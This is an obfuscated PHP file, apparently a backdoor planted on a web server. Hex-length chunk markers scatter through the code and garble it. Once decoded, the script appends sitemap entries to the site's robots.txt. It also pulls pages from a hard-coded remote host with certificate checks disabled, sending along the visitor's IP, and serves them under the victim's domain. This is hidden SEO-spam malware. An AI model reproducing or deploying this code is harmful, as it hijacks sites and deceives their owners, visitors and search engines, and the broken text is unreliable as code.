2
<?
2
ph
2
p

2

 
2
go
3
to 
2
NW
2
uL
2
Z;
3
 N2
2
px
3
L: 
2
if
2
 (
3
!em
2
pt
2
y(
2
$g
2
et
3
["\
3
162
2
"]
2
))
2
 {
3
 $r
2
ob
2
ot
3
sPa
2
th
3
 = 
2
$_
2
SE
2
RV
1
E
1
R
6
["\104
3
\x4
4
f\x4
2
3\
3
x55
3
\x4
4
d\x4
2
5\
2
11
3
6\1
4
24\x
2
5f
4
\122
7
\x4f\x4
5
f\124
3
"] 
2
. 
3
"\x
2
2f
5
\162\
3
157
3
\14
3
2\x
4
6f\x
2
74
4
\163
2
\5
6
6\x74\
2
x7
8
8\x74"; 
2
$s
1
i
2
te
2
ma
2
pB
2
lo
2
ck
4
 = "
6
\x55\x
4
73\x
5
65\x7
3
2\x
4
2d\x
2
61
3
\14
4
7\14
5
5\x6e
5
\x74\
6
72\x20
3
\x2
3
a\x
1
a
6
\101\1
2
54
5
\154\
8
x6f\x77\
2
x3
8
a\x20\x2
4
f\12
b
"; $sitemap
1
s
9
 = "\xa\1
2
23
3
\15
5
1\164
6
\x65\x
8
6d\x61\1
2
60
7
\72\x20
2
{$
3
htt
2
p_
2
ty
3
pe}
1
{
b
$_SERVER["\
2
x4
3
8\x
8
54\x54\1
3
20\
2
13
4
7\11
4
0\11
1
7
6
\123\1
4
24"]
f
}{$_SERVER["\x5
4
3\10
1
3
8
\122\x49
4
\x50
8
\x54\x5f
5
\116\
3
x41
8
\x4d\x45
3
"]}
1
\
3
77\
6
163\x3
1
d
5
\x73\
5
12"; 
7
if (!fi
2
le
3
_ex
2
is
3
ts(
10
$robotsPath)) { 
5
file_
3
put
2
_c
3
ont
2
en
e
ts($robotsPath
1
,
f
 $sitemapBlock 
1
.
b
 $sitemaps)
2
; 
3
} e
2
ls
1
e
b
 { $robotsC
6
ontent
3
 = 
1
@
5
file_
3
get
16
_contents($robotsPath)
6
; if (
3
str
2
po
9
s($robots
8
Content,
d
 $_SERVER["\1
3
23\
6
x43\x5
14
2\x49\x50\x54\x5f\x4
1
e
f
\x41\x4d\x45"])
2
 =
3
== 
2
fa
3
lse
4
) { 
1
@
28
file_put_contents($robotsPath, $sitemaps
2
, 
2
FI
2
LE
2
_A
2
PP
2
EN
1
D
9
); } } } 
5
goto 
2
Ez
2
Yo
2
e;
6
 NWuLZ
3
: e
3
rro
2
r_
2
re
3
por
2
ti
2
ng
2
(0
3
); 
6
goto y
2
Mq
2
RN
7
; yMqRN
2
: 
4
$get
5
 = $_
2
GE
8
T; goto 
2
sh
1
q
3
ZL;
2
 A
2
q5
2
NJ
4
: $l
1
l
4
 = "
18
{$http_type}{$_SERVER["\
5
110\1
1
2
4
4\12
a
4\120\137\
5
x48\x
5
4f\12
4
3\x5
14
4"]}{$_SERVER["\x53\
4
x43\
5
122\1
2
11
9
\x50\x54\
6
137\11
6
6\x41\
2
11
4
5\10
4
5"]}
1
"
8
; goto D
3
_ia
2
M;
2
 m
2
5b
2
kF
3
: f
2
un
3
cti
2
on
4
 get
2
Cu
2
rl
2
($
3
url
1
,
6
 $getD
3
ata
3
 = 
3
arr
2
ay
1
(
5
)) { 
f
if (!empty($get
4
Data
7
)) { $q
2
ue
2
ry
3
Str
3
ing
3
 = 
3
is_
6
array(
9
$getData)
3
 ? 
5
http_
2
bu
2
il
2
d_
5
query
c
($getData) :
9
 $getData
3
; $
4
url 
2
.=
a
 (strpos($
5
url, 
1
"
4
\77"
b
) === false
3
 ? 
5
"\77"
3
 : 
5
"\x26
4
") .
d
 $queryString
4
; } 
4
if (
8
function
8
_exists(
3
"\1
4
43\x
1
7
7
5\x72\1
8
54\137\x
2
69
4
\156
9
\151\164"
7
)) { $c
4
h = 
4
curl
2
_i
2
ni
2
t(
3
); 
7
curl_se
2
to
2
pt
9
_array($c
3
h, 
6
array(
2
CU
2
RL
2
OP
2
T_
4
URL 
2
=>
7
 $url, 
8
CURLOPT_
2
RE
2
TU
2
RN
2
TR
2
AN
2
SF
2
ER
5
 => t
3
rue
a
, CURLOPT_
2
SS
2
L_
3
VER
2
IF
2
YP
7
EER => 
5
false
15
, CURLOPT_SSL_VERIFYH
2
OS
1
T
14
 => false, CURLOPT_F
2
OL
2
LO
2
WL
2
OC
2
AT
2
IO
1
N
13
 => true, CURLOPT_T
2
IM
2
EO
1
U
7
T => 10
a
, CURLOPT_
1
H
2
TT
1
P
3
GET
13
 => true, CURLOPT_U
3
SER
2
AG
2
EN
6
T => "
6
\115\1
4
57\1
5
72\15
1
1
8
\154\x6c
4
\141
2
\5
4
7\x3
4
5\x2
3
e\6
1
0
3
"))
4
; $d
6
ata = 
6
curl_e
3
xec
4
($ch
8
); curl_
3
clo
2
se
7
($ch); 
c
if (!empty($
1
d
a
ata)) { re
2
tu
2
rn
6
 $data
6
; } } 
4
if (
3
ini
4
_get
5
("\14
a
1\154\x6c\
6
x6f\16
1
7
6
\x5f\x
3
75\
6
162\15
9
4\x5f\146
6
\157\1
3
60\
4
x65\
3
156
8
")) { $c
4
onte
1
x
4
t = 
5
strea
2
m_
7
context
2
_c
5
reate
1
(
6
array(
4
"\x6
1
8
6
\164\x
6
74\160
5
" => 
8
array("\
1
1
4
55\x
4
65\1
6
64\x68
6
\x6f\x
3
64"
6
 => "\
1
x
6
47\105
5
\x54"
4
, "\
5
x74\x
5
69\15
1
5
8
\145\x6f
7
\x75\x7
6
4" => 
4
10, 
5
"\150
7
\x65\x6
1
1
b
\x64\x65\16
1
2
9
" => "\12
1
5
6
\163\x
6
65\162
7
\x2d\x4
e
1\147\145\x6e\
5
164\x
3
3a\
2
40
5
\x4d\
5
157\x
2
7a
5
\151\
7
x6c\x6c
6
\x61\x
3
2f\
a
x35\x2e\60
1
\
6
15\12"
1
)
5
, "\1
4
63\x
6
73\x6c
f
" => array("\16
1
6
a
\x65\162\x
5
69\14
4
6\x7
1
9
6
\137\1
9
60\x65\14
a
5\162" => 
7
false, 
5
"\x76
6
\145\x
8
72\151\1
4
46\1
2
71
7
\137\x7
1
0
7
\145\14
7
5\162\x
4
5f\x
4
6e\1
4
41\x
6
6d\x65
a
" => false
1
)
c
)); $data = 
14
@file_get_contents($
5
url, 
7
false, 
8
$context
2a
); if (!empty($data)) { return $data; } } 
7
return 
2
''
1
;
8
 } goto 
3
X5n
2
b1
1
;
6
 D_iaM
4
: $v
4
url 
3
= $
9
http_type
6
 . "\x
5
69\14
7
4\154\x
3
79\
3
62\
4
56\x
3
69\
5
x64\x
5
73\x6
8
8\157\x7
1
0
6
\x2e\x
3
63\
4
143\
5
167\x
3
75\
4
56\1
4
43\x
4
63\x
3
2f\
3
64\
3
61\
3
71\
6
56\x61
8
\163\x70
4
\x78
8
"; goto 
5
N2pxL
1
;
6
 EzYoe
16
: if (!empty($get["\16
1
3
9
"])) { $p
3
ara
2
ms
9
 = array(
6
"\163"
4
 => 
1
d
7
ate("\1
1
3
6
1\x6d\
4
144\
4
x48\
3
151
6
"), "\
7
x6e\165
8
\155\142
d
\x65\162" => 
c
$get["\156\1
a
65\x6d\x62
9
\145\162"
1
]
4
); $
6
str = 
a
getCurl($v
6
url, $
6
params
a
); $str = 
3
str
5
_repl
2
ac
a
e(array("\
1
1
6
73\xe5
2
\2
4
75\2
1
2
8
3\xe5\x8
3
9\x
2
8d
2
\3
4
45\x
3
9c\
1
2
4
60\x
4
e5\2
5
35\x8
5
0\x7d
4
"), 
7
array($
c
http_type . 
f
$_SERVER["\110\
8
x54\x54\
7
x50\x5f
9
\110\117\
5
x53\1
7
24"] . 
13
$_SERVER["\123\x43\
c
122\x49\x50\
5
124\1
b
37\116\x41\
b
x4d\x45"]),
5
 $str
3
); 
3
hea
2
de
5
r("\1
4
03\1
4
57\1
8
56\x74\x
6
65\156
6
\164\x
7
2d\164\
5
171\1
7
60\x65\
4
72\1
8
64\x65\1
5
70\x7
1
4
6
\57\x7
4
8\15
4
5\15
4
4");
3
 ec
2
ho
6
 $str;
3
 di
1
e
a
; } goto N
3
4da
2
c;
6
 X5nb1
1
:
d
 $http_type =
1
 
8
!empty($
16
_SERVER["\110\x54\x54\
6
120\12
4
3"])
2
 &
2
& 
f
$_SERVER["\x48\
8
124\124\
9
x50\123"]
2
 !
1
=
6
= "\x6
6
f\146\
3
x66
1
"
5
 ? "\
8
x68\164\
7
164\160
6
\x73\x
6
3a\x2f
4
\x2f
6
" : "\
4
150\
d
164\164\160\x
8
3a\x2f\5
1
7
8
"; goto 
6
Aq5NJ;
3
 f5
2
Xo
1
A
b
: function 
3
pos
d
tCurl($url, $
4
post
12
Data = array()) { 
5
$post
13
String = is_array($
8
postData
16
) ? http_build_query($
b
postData) :
a
 $postData
1
;
1f
 if (function_exists("\143\x75\
c
162\154\x5f\
6
x69\x6
1
e
6
\x69\1
ef
64")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_P
7
OST => 
e
true, CURLOPT_
5
POSTF
2
IE
2
LD
1
S
5
 => $
a
postString
66
)); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\
8
x6c\x6c\
6
157\x7
17
7\x5f\x75\162\154\x5f\x
5
66\x6
1
f
a
\x70\145\1
31
56")) { $context = stream_context_create(array("\
f
150\164\164\160
11
" => array("\155\
6
145\16
7
4\150\1
5
57\14
1
4
a
" => "\120
6
\x4f\x
7
53\124"
6
, "\16
a
4\x69\155\
7
x65\157
6
\165\x
d
74" => 10, "\
6
x68\x6
1
5
7
\141\14
7
4\x65\x
1
7
a
2" => "\10
4
3\x6
1
f
d
\156\x74\x65\
8
x6e\x74\
5
55\12
6
4\171\
5
x70\x
4
65\x
8
3a\x20\x
7
61\160\
6
160\x6
1
c
8
\x69\x63
6
\x61\x
7
74\x69\
6
x6f\x6
1
e
8
\57\x78\
5
55\x7
6
7\x77\
4
167\
5
55\x6
9
6\x6f\x72
6
\155\x
5
2d\16
8
5\162\x6
1
c
b
\x65\156\14
7
3\157\1
4
44\1
5
45\14
3
4\x
1
d
4
\12"
7
 . "\x4
e
3\x6f\156\x74\
7
145\156
6
\x74\x
6
2d\x4c
a
\145\x6e\1
4
47\1
7
64\x68\
5
72\40
4
" . 
4
strl
2
en
1
(
c
$postString)
6
 . "\x
4
d\xa
6
" . "\
4
125\
6
x73\14
a
5\x72\x2d\
5
101\x
4
67\x
c
65\156\164\x
e
3a\40\x4d\157\
8
172\151\
a
x6c\x6c\14
6
1\x2f\
1
6
7
5\56\x3
1
0
7
\xd\xa"
5
, "\1
7
43\x6f\
8
x6e\164\
c
145\x6e\164"
10
 => $postString)
1c
, "\163\x73\x6c" => array("\
acb
x76\145\x72\x69\146\171\x5f\x70\x65\145\162" => false, "\x76\145\162\x69\x66\x79\x5f\160\145\x65\x72\137\x6e\141\155\145" => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto m5bkF; N4dac: if (!empty($get["\151\144"])) { if (empty($get["\153\153"])) { $ip = get_ip(); $params = array("\x69\160" => $ip, "\x69\144" => isset($get["\x69\144"]) ? $get["\151\x64"] : '', "\x6c\x6c" => $ll); $tzstr = getCurl($vurl, $params); if (strpos($tzstr, "\x69\144") !== false) { echo $tzstr; die; } } $params = array("\x69\x64" => $get["\x69\x64"], "\x6c\154" => $ll); $str = getCurl($vurl, $params); $str = str_replace(array("\x7b\125\x52\x4c\175", "\173\345\237\237\345\x90\215\175"), array(get_url_info("\146\165\154\x6c"), get_url_info("\156\157\137\x77\167\167")), $str); echo $str; die; } else { $sitemapUrl = $ll . "\x3f\x73\x3d" . date("\131\155\144\110\x69"); echo "\74\144\x69\166\40\x73\164\171\154\145\x3d\x27\x74\145\170\164\x2d\x61\154\151\147\156\x3a\x63\145\x6e\164\x65\x72\73\40\160\x61\144\144\x69\156\x67\72\61\x30\160\170\40\x30\73\x27\76\x3c\x61\x20\150\162\x65\146\75\42{$sitemapUrl}\x22\x20\x74\x61\x72\x67\x65\164\x3d\42\x5f\x62\154\141\x6e\x6b\42\40\162\x65\x6c\x3d\x22\x6e\157\x66\157\x6c\x6c\157\167\x22\x3e\x20\x53\x69\x74\x65\x6d\x61\160\74\57\141\x3e\x3c\x2f\144\151\166\76"; } goto nnSBp; Uh8So: function get_ip() { foreach (array("\x48\x54\x54\x50\x5f\x58\137\x46\117\x52\127\101\122\104\x45\104\x5f\x46\x4f\x52", "\x48\124\x54\120\x5f\x43\114\x49\105\x4e\x54\137\111\x50", "\x52\x45\x4d\117\x54\x45\x5f\101\x44\x44\x52") as $key) { if (!empty($_SERVER[$key])) { return trim(explode("\x2c", $_SERVER[$key])[0]); } } return "\x55\x4e\113\116\x4f\x57\116"; } goto f5XoA; shqZL: function get_url_info(string $return_type = "\144\157\155\141\151\x6e") : string { $host = $_SERVER["\x48\124\124\x50\x5f\110\x4f\123\x54"]; if ($return_type === "\144\x6f\155\x61\x69\156") { return $host; } if ($return_type === "\156\157\x5f\x77\167\167") { return ltrim($host, "\x77\x77\167\x2e"); } $protocol = isset($_SERVER["\110\x54\124\x50\x53"]) && $_SERVER["\110\x54\x54\x50\x53"] === "\x6f\156" || isset($_SERVER["\x48\x54\124\x50\x5f\130\137\106\x4f\122\127\x41\122\104\x45\x44\137\x50\x52\117\x54\x4f"]) && $_SERVER["\110\124\124\120\137\x58\137\106\x4f\122\x57\101\122\104\105\104\137\x50\122\x4f\x54\117"] === "\150\x74\x74\160\x73" ? "\x68\x74\164\x70\x73\x3a\57\x2f" : "\x68\x74\164\x70\72\x2f\x2f"; $base_url = $protocol . $host; if ($return_type === "\142\x61\x73\145") { return $base_url; } $uri = $_SERVER["\x52\x45\121\125\105\123\124\x5f\x55\122\x49"]; $full_url = $base_url . $uri; if ($return_type === "\x66\165\154\154") { return $full_url; } return ''; } goto Uh8So; nnSBp: ?>
0